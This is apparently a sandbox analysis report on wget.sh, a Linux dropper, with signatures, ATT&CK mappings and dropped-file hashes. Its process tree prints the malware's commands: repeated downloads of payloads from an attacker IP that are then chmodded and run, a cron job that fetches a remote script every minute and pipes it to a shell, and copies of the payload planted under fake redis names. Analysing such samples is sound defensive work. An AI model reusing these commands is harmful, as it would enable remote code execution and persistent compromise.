Overview

overview

7

Static

static

1

wget.sh

ubuntu-18.04-amd64

7

wget.sh

debian-9-armhf

7

wget.sh

debian-9-mips

wget.sh

debian-9-mipsel

Analysis

  • max time kernel
    30s
  • max time network
    141s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    11/07/2026, 11:29

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    wget.sh
  • Size 4KB
  • Sample260711-nlmlmsht3n
  • SHA256 90e72cb310525972af1e9d97cd837d48aaf87a429930b507f56befddff1ff713
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
antivmcredential_accessdefense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 21 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 7 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Creates/modifies environment variables 1 TTPs 1 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

    persistenceprivilege_escalationdefense_evasion
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Reads MAC address of network interface 2 TTPs 1 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

    defense_evasiondiscovery
  • Write file to user bin folder 2 IoCs
    persistence
  • Modifies Bash startup script 2 TTPs 1 IoCs
    persistence
  • Reads process memory 1 TTPs 64 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

    credential_access
  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wget.sh
    /tmp/wget.sh
    1⤵
    • Executes dropped EXE
    PID:649
    • /usr/bin/wget
      wget http://91.92.40.118/kworkerd -O /tmp/.k
      2⤵
      • Writes file to tmp directory
      PID:651
    • /bin/chmod
      chmod 777 /tmp/.k
      2⤵
      • File and Directory Permissions Modification
      PID:676
    • /tmp/.k
      /tmp/.k
      2⤵
        PID:677
      • /bin/rm
        rm -f /tmp/.k
        2⤵
          PID:679
        • /usr/bin/wget
          wget http://91.92.40.118/kworkerd-events -O /tmp/.k
          2⤵
          • Writes file to tmp directory
          PID:681
        • /bin/chmod
          chmod 777 /tmp/.k
          2⤵
          • File and Directory Permissions Modification
          PID:683
        • /tmp/.k
          /tmp/.k
          2⤵
            PID:684
          • /bin/rm
            rm -f /tmp/.k
            2⤵
              PID:686
            • /usr/bin/wget
              wget http://91.92.40.118/kworkerd-cgroup -O /tmp/.k
              2⤵
              • Writes file to tmp directory
              PID:687
            • /bin/busybox
              busybox wget http://91.92.40.118/kworkerd-cgroup -O /tmp/.k
              2⤵
                PID:688
              • /usr/bin/curl
                curl http://91.92.40.118/kworkerd-cgroup -o /tmp/.k
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:689
              • /bin/chmod
                chmod 777 /tmp/.k
                2⤵
                • File and Directory Permissions Modification
                PID:690
              • /tmp/.k
                /tmp/.k
                2⤵
                  PID:691
                • /bin/sh
                  /bin/sh /tmp/.k
                  2⤵
                    PID:691
                  • /bin/rm
                    rm -f /tmp/.k
                    2⤵
                      PID:692
                    • /usr/bin/wget
                      wget http://91.92.40.118/kworkerd-netns -O /tmp/.k
                      2⤵
                      • Writes file to tmp directory
                      PID:693
                    • /bin/chmod
                      chmod 777 /tmp/.k
                      2⤵
                      • File and Directory Permissions Modification
                      PID:700
                    • /tmp/.k
                      /tmp/.k
                      2⤵
                        PID:701
                      • /bin/rm
                        rm -f /tmp/.k
                        2⤵
                          PID:704
                        • /usr/bin/wget
                          wget http://91.92.40.118/kworkerd-netns-rt -O /tmp/.k
                          2⤵
                          • Writes file to tmp directory
                          PID:706
                        • /bin/chmod
                          chmod 777 /tmp/.k
                          2⤵
                          • File and Directory Permissions Modification
                          PID:719
                        • /tmp/.k
                          /tmp/.k
                          2⤵
                            PID:721
                          • /bin/rm
                            rm -f /tmp/.k
                            2⤵
                              PID:724
                            • /usr/bin/wget
                              wget http://91.92.40.118/kworkerd-rcu -O /tmp/.k
                              2⤵
                              • Writes file to tmp directory
                              PID:725
                            • /bin/chmod
                              chmod 777 /tmp/.k
                              2⤵
                              • File and Directory Permissions Modification
                              PID:740
                            • /tmp/.k
                              /tmp/.k
                              2⤵
                                PID:743
                              • /bin/rm
                                rm -f /tmp/.k
                                2⤵
                                  PID:745
                                • /usr/bin/wget
                                  wget http://91.92.40.118/kworkerd-irq -O /tmp/.k
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:746
                                • /bin/chmod
                                  chmod 777 /tmp/.k
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:754
                                • /tmp/.k
                                  /tmp/.k
                                  2⤵
                                  • Deletes itself
                                  • Modifies Watchdog functionality
                                  • Creates/modifies environment variables
                                  • Enumerates active TCP sockets
                                  • Modifies init.d
                                  • Modifies systemd
                                  • Reads MAC address of network interface
                                  • Modifies Bash startup script
                                  • Reads process memory
                                  • Changes its process name
                                  • Checks CPU configuration
                                  • Reads system network configuration
                                  • Enumerates kernel/hardware configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:755
                                  • /bin/sh
                                    sh -c "/bin/systemctl daemon-reload 2>/dev/null"
                                    3⤵
                                      PID:760
                                      • /bin/systemctl
                                        /bin/systemctl daemon-reload
                                        4⤵
                                        • Enumerates kernel/hardware configuration
                                        • Reads runtime system information
                                        PID:761
                                    • /bin/sh
                                      sh -c "/bin/systemctl enable --now redis-sentinel.service 2>/dev/null"
                                      3⤵
                                        PID:774
                                        • /bin/systemctl
                                          /bin/systemctl enable --now redis-sentinel.service
                                          4⤵
                                          • Enumerates kernel/hardware configuration
                                          • Reads runtime system information
                                          PID:775
                                      • /bin/sh
                                        sh -c "/usr/bin/crontab -l 2>/dev/null"
                                        3⤵
                                          PID:795
                                          • /usr/bin/crontab
                                            /usr/bin/crontab -l
                                            4⤵
                                              PID:797
                                          • /bin/sh
                                            sh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 757 2>/dev/null && exit 0; (wget -qO- http://91.92.40.118/init.sh || curl -sL http://91.92.40.118/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"
                                            3⤵
                                              PID:799
                                              • /usr/bin/crontab
                                                /usr/bin/crontab -
                                                4⤵
                                                • Creates/modifies Cron job
                                                • Reads runtime system information
                                                PID:801
                                            • /bin/sh
                                              sh -c "update-rc.d /etc/init.d/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-h4q2 defaults 2>/dev/null"
                                              3⤵
                                                PID:805
                                                • /usr/sbin/update-rc.d
                                                  update-rc.d /etc/init.d/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-h4q2 defaults
                                                  4⤵
                                                    PID:806
                                                • /bin/sh
                                                  sh -c "cp -f '/tmp/.k' '/usr/bin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-20ii' 2>/dev/null; chmod +x '/usr/bin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-20ii' 2>/dev/null"
                                                  3⤵
                                                  • File and Directory Permissions Modification
                                                  PID:816
                                                  • /bin/cp
                                                    cp -f /tmp/.k "/usr/bin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-20ii"
                                                    4⤵
                                                    • Write file to user bin folder
                                                    • Reads runtime system information
                                                    PID:817
                                                  • /bin/chmod
                                                    chmod +x "/usr/bin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-20ii"
                                                    4⤵
                                                    • File and Directory Permissions Modification
                                                    PID:819
                                                • /bin/sh
                                                  sh -c "cp -f '/tmp/.k' '/usr/sbin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-5yyw' 2>/dev/null; chmod +x '/usr/sbin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-5yyw' 2>/dev/null"
                                                  3⤵
                                                  • File and Directory Permissions Modification
                                                  PID:821
                                                  • /bin/cp
                                                    cp -f /tmp/.k "/usr/sbin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-5yyw"
                                                    4⤵
                                                    • Write file to user bin folder
                                                    PID:822
                                                  • /bin/chmod
                                                    chmod +x "/usr/sbin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-5yyw"
                                                    4⤵
                                                    • File and Directory Permissions Modification
                                                    PID:824
                                                • /bin/sh
                                                  sh -c "cp -f '/tmp/.k' '/usr/lib/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-eqs6' 2>/dev/null; chmod +x '/usr/lib/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-eqs6' 2>/dev/null"
                                                  3⤵
                                                  • File and Directory Permissions Modification
                                                  PID:826
                                                  • /bin/cp
                                                    cp -f /tmp/.k "/usr/lib/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-eqs6"
                                                    4⤵
                                                    • Reads runtime system information
                                                    PID:827
                                                  • /bin/chmod
                                                    chmod +x "/usr/lib/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-eqs6"
                                                    4⤵
                                                    • File and Directory Permissions Modification
                                                    PID:830
                                                • /bin/sh
                                                  sh -c "cp -f '/tmp/.k' '/lib/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-njds' 2>/dev/null; chmod +x '/lib/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-njds' 2>/dev/null"
                                                  3⤵
                                                  • File and Directory Permissions Modification
                                                  PID:831
                                                  • /bin/cp
                                                    cp -f /tmp/.k "/lib/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-njds"
                                                    4⤵
                                                    • Reads runtime system information
                                                    PID:832
                                                  • /bin/chmod
                                                    chmod +x "/lib/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-njds"
                                                    4⤵
                                                    • File and Directory Permissions Modification
                                                    PID:835
                                                • /bin/sh
                                                  sh -c "cp -f '/tmp/.k' '/var/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-lfmm' 2>/dev/null; chmod +x '/var/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-lfmm' 2>/dev/null"
                                                  3⤵
                                                  • File and Directory Permissions Modification
                                                  PID:836
                                                  • /bin/cp
                                                    cp -f /tmp/.k "/var/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-lfmm"
                                                    4⤵
                                                    • Reads runtime system information
                                                    PID:837
                                                  • /bin/chmod
                                                    chmod +x "/var/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-lfmm"
                                                    4⤵
                                                    • File and Directory Permissions Modification
                                                    PID:838
                                                • /bin/sh
                                                  sh -c "cp -f '/tmp/.k' '/tmp/.redis-server redis-sentinel redis-cli rdb-check aof-rewrite-ewxj' 2>/dev/null; chmod +x '/tmp/.redis-server redis-sentinel redis-cli rdb-check aof-rewrite-ewxj' 2>/dev/null"
                                                  3⤵
                                                  • File and Directory Permissions Modification
                                                  PID:839
                                                  • /bin/cp
                                                    cp -f /tmp/.k "/tmp/.redis-server redis-sentinel redis-cli rdb-check aof-rewrite-ewxj"
                                                    4⤵
                                                    • Writes file to tmp directory
                                                    PID:840
                                                  • /bin/chmod
                                                    chmod +x "/tmp/.redis-server redis-sentinel redis-cli rdb-check aof-rewrite-ewxj"
                                                    4⤵
                                                    • File and Directory Permissions Modification
                                                    PID:841
                                                • /bin/sh
                                                  sh -c "cp -f '/tmp/.k' '/dev/shm/.redis-server redis-sentinel redis-cli rdb-check aof-rewrite-08iy' 2>/dev/null; chmod +x '/dev/shm/.redis-server redis-sentinel redis-cli rdb-check aof-rewrite-08iy' 2>/dev/null"
                                                  3⤵
                                                  • File and Directory Permissions Modification
                                                  PID:842
                                                  • /bin/cp
                                                    cp -f /tmp/.k "/dev/shm/.redis-server redis-sentinel redis-cli rdb-check aof-rewrite-08iy"
                                                    4⤵
                                                    • Reads runtime system information
                                                    • Writes file to shm directory
                                                    PID:843
                                                  • /bin/chmod
                                                    chmod +x "/dev/shm/.redis-server redis-sentinel redis-cli rdb-check aof-rewrite-08iy"
                                                    4⤵
                                                    • File and Directory Permissions Modification
                                                    PID:844

                                            Network

                                                  MITRE ATT&CK Enterprise v16

                                                  Reconnaissance

                                                  Resource Development

                                                  Initial Access

                                                  Execution

                                                  Scheduled Task/Job

                                                  1
                                                  T1053

                                                  Cron

                                                  1
                                                  T1053.003

                                                  Persistence

                                                  Boot or Logon Autostart Execution

                                                  3
                                                  T1547

                                                  XDG Autostart Entries

                                                  1
                                                  T1547.013

                                                  Boot or Logon Initialization Scripts

                                                  1
                                                  T1037

                                                  RC Scripts

                                                  1
                                                  T1037.004

                                                  Create or Modify System Process

                                                  1
                                                  T1543

                                                  Systemd Service

                                                  1
                                                  T1543.002

                                                  Event Triggered Execution

                                                  1
                                                  T1546

                                                  Unix Shell Configuration Modification

                                                  1
                                                  T1546.004

                                                  Hijack Execution Flow

                                                  1
                                                  T1574

                                                  Path Interception by PATH Environment Variable

                                                  1
                                                  T1574.007

                                                  Scheduled Task/Job

                                                  1
                                                  T1053

                                                  Cron

                                                  1
                                                  T1053.003

                                                  Privilege Escalation

                                                  Boot or Logon Autostart Execution

                                                  3
                                                  T1547

                                                  XDG Autostart Entries

                                                  1
                                                  T1547.013

                                                  Boot or Logon Initialization Scripts

                                                  1
                                                  T1037

                                                  RC Scripts

                                                  1
                                                  T1037.004

                                                  Create or Modify System Process

                                                  1
                                                  T1543

                                                  Systemd Service

                                                  1
                                                  T1543.002

                                                  Event Triggered Execution

                                                  1
                                                  T1546

                                                  Unix Shell Configuration Modification

                                                  1
                                                  T1546.004

                                                  Hijack Execution Flow

                                                  1
                                                  T1574

                                                  Path Interception by PATH Environment Variable

                                                  1
                                                  T1574.007

                                                  Scheduled Task/Job

                                                  1
                                                  T1053

                                                  Cron

                                                  1
                                                  T1053.003

                                                  Defense Evasion

                                                  File and Directory Permissions Modification

                                                  1
                                                  T1222

                                                  Linux and Mac File and Directory Permissions Modification

                                                  1
                                                  T1222.002

                                                  Hijack Execution Flow

                                                  1
                                                  T1574

                                                  Path Interception by PATH Environment Variable

                                                  1
                                                  T1574.007

                                                  Impair Defenses

                                                  1
                                                  T1562

                                                  Virtualization/Sandbox Evasion

                                                  1
                                                  T1497

                                                  System Checks

                                                  1
                                                  T1497.001

                                                  Credential Access

                                                  OS Credential Dumping

                                                  1
                                                  T1003

                                                  Proc Filesystem

                                                  1
                                                  T1003.007

                                                  Discovery

                                                  System Information Discovery

                                                  1
                                                  T1082

                                                  System Network Configuration Discovery

                                                  2
                                                  T1016

                                                  Internet Connection Discovery

                                                  1
                                                  T1016.001

                                                  Wi-Fi Discovery

                                                  1
                                                  T1016.002

                                                  System Network Connections Discovery

                                                  2
                                                  T1049

                                                  Virtualization/Sandbox Evasion

                                                  1
                                                  T1497

                                                  System Checks

                                                  1
                                                  T1497.001

                                                  Lateral Movement

                                                  Collection

                                                  Command and Control

                                                  Exfiltration

                                                  Impact

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  redis-server redis-sentinel redis-cli rdb-check aof-rewrite-h4q2
                                                  • Path /etc/init.d/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-h4q2
                                                  • Size 475B
                                                  • SHA256 1633e0d93adce3749ab011d194bfe4214ec36c4e63ecf5caeac90dbb8c98e908
                                                  • MD5 SHA1 SHA512 TLSH
                                                  Submit Download

                                                  redis-server redis-sentinel redis-cli rdb-check aof-rewrite-xrap.sh
                                                  • Path /etc/profile.d/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-xrap.sh
                                                  • Size 175B
                                                  • SHA256 c5ed1b3b4c8217446fd82eabb45d50aab4e76279ea3e2755a6f2d24f4a1f3bfb
                                                  • MD5 SHA1 SHA512 TLSH
                                                  Submit Download

                                                  redis-sentinel.service
                                                  • Path /etc/systemd/system/redis-sentinel.service
                                                  • Size 342B
                                                  • SHA256 233380053ca11cd37fcf70af2aebea67094b7065709aaa1c07e34f13a5686afa
                                                  • MD5 SHA1 SHA512 TLSH
                                                  Submit Download

                                                  .k
                                                  • Path /tmp/.k
                                                  • Size 287KB
                                                  • SHA256 46cfad24a61fd8087b5c28c438e8cee7b42f0bfeb471d55e0a5d3e2f14b070cb
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  .k
                                                  • Path /tmp/.k
                                                  • Size 239KB
                                                  • SHA256 31b5215d2bab7691c47f8e27ed17fcc99b20e74d56e3388987ff20ec92f70d97
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  .k
                                                  • Path /tmp/.k
                                                  • Size 162B
                                                  • SHA256 340c8464c2007ce3f80682e15dfafa4180b641d53c14201b929906b7b0284d87
                                                  • MD5 SHA1 SHA512 TLSH
                                                  Submit Download

                                                  .k
                                                  • Path /tmp/.k
                                                  • Size 415KB
                                                  • SHA256 80ce991efa532d72569247a123a26587e4c9cac2a6e29bd620d3309f2d13c393
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  .k
                                                  • Path /tmp/.k
                                                  • Size 398KB
                                                  • SHA256 12ce9af80d7bda29cc946c03ef0378f09fb76d2807e901866416de88626d9df6
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  .k
                                                  • Path /tmp/.k
                                                  • Size 416KB
                                                  • SHA256 e8ed2648ea9267a25487b30467633870b6df59c4d3886f13fe11554d82f4737a
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  .redis-server.pid
                                                  • Path /tmp/.redis-server.pid
                                                  • Size 3B
                                                  • SHA256 b6bc077d6675a7c8cc9e2fa5a08c86ba59b675d69af118052bb390c3cf11e5e0
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  redis-server redis-sentinel redis-cli rdb-check aof-rewrite-20ii
                                                  • Path /usr/bin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-20ii
                                                  • Size 285KB
                                                  • SHA256 3c2ffa8e5ee0a6eb7a0e47434a1821bd2d7f52e511abf6dbe65b5fa90f40c006
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  tmp.oFVys8
                                                  • Path /var/spool/cron/crontabs/tmp.oFVys8
                                                  • Size 340B
                                                  • SHA256 a8a11b16f2da138b8fdfc8047d2a1dd2b29ce07a855f4ddc34524c90d7268b11
                                                  • MD5 SHA1 SHA512 TLSH
                                                  Submit Download